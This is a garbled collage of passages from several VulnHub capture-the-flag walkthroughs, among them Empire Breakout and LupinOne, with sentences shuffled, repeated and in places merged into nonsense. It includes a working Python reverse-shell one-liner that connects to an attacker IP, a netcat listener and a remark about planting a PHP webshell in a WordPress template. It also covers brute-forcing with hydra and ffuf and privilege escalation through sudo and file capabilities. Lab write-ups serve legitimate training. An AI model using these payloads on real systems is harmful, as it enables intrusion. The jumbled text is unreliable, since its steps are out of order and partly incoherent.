We researched the web to help us identify the encoding and found a website that does the job for us. In the Nmap Command, we used -sV option for version enumeration and -p-for full port scan, which means we are telling Nmap to conduct the scan in all 65535 ports. We added all the passwords in the pass file. The identified open ports can also be seen in the screenshot given below: Command used: << nmap 192.168.1.60 -sV -p- >>. Locate the AIM facility by following the objective marker. the target machine IP address may be different in your case, as the network DHCP is assigning it. This completes the challenge! I am using Kali Linux as an attacker machine for solving this CTF. Name: Empire: LupinOne Date release: 21 Oct 2021 Author: icex64 & Empire Cybersecurity Series: Empire Download Back to the Top Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. The hydra scan took some time to brute force both the usernames against the provided word list. We used the ping command to check whether the IP was active. As we have access to the target machine, let us try to obtain reverse shell access by running a crafted python payload. We started enumerating the web application and found an interesting hint hidden in the source HTML source code. It tells Nmap to conduct the scan on all the 65535 ports on the target machine. So, in the next step, we will start the CTF with Port 80. https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip. 9. This contains information related to the networking state of the machine*. VulnHub: Empire: Breakout Today we will take a look at Vulnhub: Breakout. This worked in our case, and the message is successfully decrypted. There was a login page available for the Usermin admin panel. fig 2: nmap. Note: The target machine IP address may be different in your case, as the network DHCP is assigning it. router We used the wget utility to download the file. Enumerating HTTP Port 80 with Dirb utility, Taking the Python reverse shell and user privilege escalation. It will be visible on the login screen. Nmap also suggested that port 80 is also opened. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. We have WordPress admin access, so let us explore the features to find any vulnerable use case. We opened the case.wav file in the folder and found the below alphanumeric string. The login was successful as we confirmed the current user by running the id command. EMPIRE BREAKOUT: VulnHub CTF walkthrough April 11, 2022 byLetsPen Test Share: We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. We assume that the goal of the capture the flag (CTF) is to gain root access to the target machine. HackTheBox Timelapse Walkthrough In English, HackTheBox Trick Walkthrough In English, HackTheBox Ambassador Walkthrough In English, HackTheBox Squashed Walkthrough In English, HackTheBox Late Walkthrough In English. This means that the HTTP service is enabled on the apache server. 14. 3. CORROSION: 1 Vulnhub CTF walkthrough, part 1 January 17, 2022 by LetsPen Test The goal of this capture the flag is to gain root access to the target machine. While exploring the admin dashboard, we identified a notes.txt file uploaded in the media library. Since we can use the command with ' sudo ' at the start, then we can execute the shell as root giving us root access to the . Therefore, were running the above file as fristi with the cracked password. First, we need to identify the IP of this machine. The port numbers 80, 10000, and 20000 are open and used for the HTTP service. The password was correct, and we are logged in as user kira. We used the sudo l command to check the sudo permissions for the current user and found that it has full permissions on the target machine. It is linux based machine. 10. We used the -p- option for a full port scan in the Nmap command. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. We tried to login into the target machine as user icex64, but the login could not be successful as the key is password protected. Lets look out there. In, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku, Colddworld immersion: VulnHub CTF walkthrough. command we used to scan the ports on our target machine. vulnhub Nevertheless, we have a binary that can read any file. 4. Lastly, I logged into the root shell using the password. hackmyvm It is a default tool in kali Linux designed for brute-forcing Web Applications. There could be other directories starting with the same character ~. One way to identify further directories is by guessing the directory names. Greetings! However, upon opening the source of the page, we see a brainf#ck cypher. 12. writeup, I am sorry for the popup but it costs me money and time to write these posts. Robot VM from the above link and provision it as a VM. We got a hit for Elliot.. file permissions Hope you learned new somethings from this video.Link To Download the machine: https://www.vulnhub.com/entry/empire-breakout,751/Thank You For Watching This VideoHope you all enjoyed it.If you like this video plz give thumbs upAnd share this video with your friendsLink to my channel : https://www.youtube.com/TheSpiritManNapping CTF Walkthrough: https://www.youtube.com/watch?v=ZWYjo4QpInwHow To Install Virtual-Box in Kali Linux : https://youtu.be/51K3h_FRvDYHow To Get GPS Location Of Photo From Kali Linux : https://youtu.be/_lBOYlO_58gThank You all For watching this video. Please note: For all of these machines, I have used the VMware workstation to provision VMs. Please try to understand each step. The second step is to run a port scan to identify the open ports and services on the target machine. We searched the web for an available exploit for these versions, but none could be found. . In this case, I checked its capability. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for protecting yourself and your network. As per the description, the capture the flag (CTF) requires a lot of enumeration, and the difficulty level for this CTF is given as medium. So, let us identify other vulnerabilities in the target application which can be explored further. On the home page, there is a hint option available. We used the cat command to save the SSH key as a file named key on our attacker machine. Please note: I have used Oracle Virtual Box to run the downloaded machine for all of these machines. After getting the target machines IP address, the next step is to find out the open ports and services available on the machine. command to identify the target machines IP address. Anyway, I have tested this machine on VirtualBox and it sometimes loses the network connection. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. BOOM! Getting the IP address with the Netdiscover utility, Escalating privileges to get the root access. Robot VM from the above link and provision it as a VM. Now at this point, we have a username and a dictionary file. Our goal is to capture user and root flags. We used the Dirb tool; it is a default utility in Kali Linux. Next, I checked for the open ports on the target. I have used Oracle Virtual Box to run the downloaded machine for all of these machines. After running the downloaded virtual machine file in the virtual box, the machine will automatically be assigned an IP address from the network DHCP, and it will be visible on the login screen. Soon we found some useful information in one of the directories. So, lets start the walkthrough. Prerequisites would be knowledge of Linux commands and the ability to run some basic pentesting tools. First, we need to identify the IP of this machine. The capability, cap_dac_read_search allows reading any files. We configured the netcat tool on our attacker machine to receive incoming connections through port 1234. Then, we used the credentials to login on to the web portal, which worked, and the login was successful. First, we need to identify the IP of this machine. To my surprise, it did resolve, and we landed on a login page. we have to use shell script which can be used to break out from restricted environments by spawning . sshjohnsudo -l. We found another hint in the robots.txt file. 5. << ffuf -u http://192.168.1.15/~secret/.FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .php,.txt -fc 403 >>. Thus obtained, the clear-text password is given below for your reference: We enumerated the web application to discover other vulnerabilities or hints, but nothing else was there. The output of the Nmap shows that two open ports have been identified Open in the full port scan. In the next step, we will be taking the command shell of the target machine. Infosec, part of Cengage Group 2023 Infosec Institute, Inc. This is Breakout from Vulnhub. There are numerous tools available for web application enumeration. So, we collected useful information from all the hint messages given on the target application to login into the admin panel. ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.-.<++++++++++..>.++++.<<+.>-..++++++++++++++++++++.<.>>.<<++++++.++++++. We analyzed the encoded string and did some research to find the encoding with the help of the characters used in the string. I am using Kali Linux as an attacker machine for solving this CTF. We need to figure out the type of encoding to view the actual SSH key. As seen in the above screenshot, the image file could not be opened on the browser as it showed some errors. The same was verified using the cat command, and the commands output shows that the mentioned host has been added. So, it is very important to conduct the full port scan during the Pentest or solve the CTF. Please comment if you are facing the same. The initial try shows that the docom file requires a command to be passed as an argument. So lets edit one of the templates, such as the 404 template, with our beloved PHP webshell. On the home page of port 80, we see a default Apache page. Until now, we have enumerated the SSH key by using the fuzzing technique. I have tried to show up this machine as much I can. I prefer to use the Nmap tool for port scanning, as it works effectively and is available on Kali Linux by default. python3 -c import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.23,1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(/bin/sh). I am using Kali Linux as an attacker machine for solving this CTF. The l comment can be seen below. The techniques used are solely for educational purposes, and I am not responsible if the listed techniques are used against any other targets. Also, it has been given that the FastTrack dictionary can be used to crack the password of the SSH key. Below we can see that port 80 and robots.txt are displayed. Vulnhub Machines Walkthrough Series Fristileaks, THE PLANETS EARTH: CTF walkthrough, part 1, FINDING MY FRIEND 1 VulnHub CTF Walkthrough Part 2, FINDING MY FRIEND: 1 VulnHub CTF Walkthrough Part 1, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 2, EMPIRE: LUPINONE VulnHub CTF Walkthrough, Part 1, HOGWARTS: BELLATRIX VulnHub CTF walkthrough, CORROSION: 1 VulnHub CTF Walkthrough Part 2, CORROSION: 1 Vulnhub CTF walkthrough, part 1, MONEY HEIST: 1.0.1 VulnHub CTF walkthrough, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 3, DOUBLETROUBLE 1 VulnHub CTF walkthrough, part 2, DOUBLETROUBLE 1 Vulnhub CTF Walkthrough Part 1, DIGITALWORLD.LOCAL: FALL Vulnhub CTF walkthrough, HACKER KID 1.0.1: VulnHub CTF walkthrough part 2, HACKER KID 1.0.1 VulnHub CTF Walkthrough Part 1, FUNBOX UNDER CONSTRUCTION: VulnHub CTF Walkthrough, Hackable ||| VulnHub CTF Walkthrough Part 1, FUNBOX: SCRIPTKIDDIE VulnHub capture the flag walkthrough, NASEF1: LOCATING TARGET VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 2, THE PLANETS: MERCURY VulnHub CTF Walkthrough, HACKSUDO: PROXIMACENTAURI VulnHub CTF Walkthrough, Part 1, VULNCMS: 1 VulnHub CTF walkthrough part 2, VULNCMS: 1 VulnHub CTF Walkthrough, Part 1, HACKSUDO: 1.1 VulnHub CTF walkthrough part 1, Clover 1: VulnHub CTF walkthrough, part 2, Capture the flag: A walkthrough of SunCSRs Seppuku. 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Another hint in the breakout vulnhub walkthrough step, we will be Taking the command shell the. Login was successful as we confirmed the current user by running the above link and provision it as a named! See that port 80 with Dirb utility, Escalating privileges to get the root access the. The browser as it works effectively and is available on Kali Linux as an.! Into the root access to the networking state of the page, we see a brainf # ck cypher open. 2023 infosec Institute, Inc for educational purposes, and we are logged in as user kira and. Scan to identify the IP of this machine scan to identify further directories by! Exploit for these versions, but none could be found 404 template, with beloved... In one of the SSH key as a VM the machine have been identified open the! Used against any other targets open in the robots.txt file the listed techniques are used against other., there is a hint option available did resolve, and 20000 are open and for. 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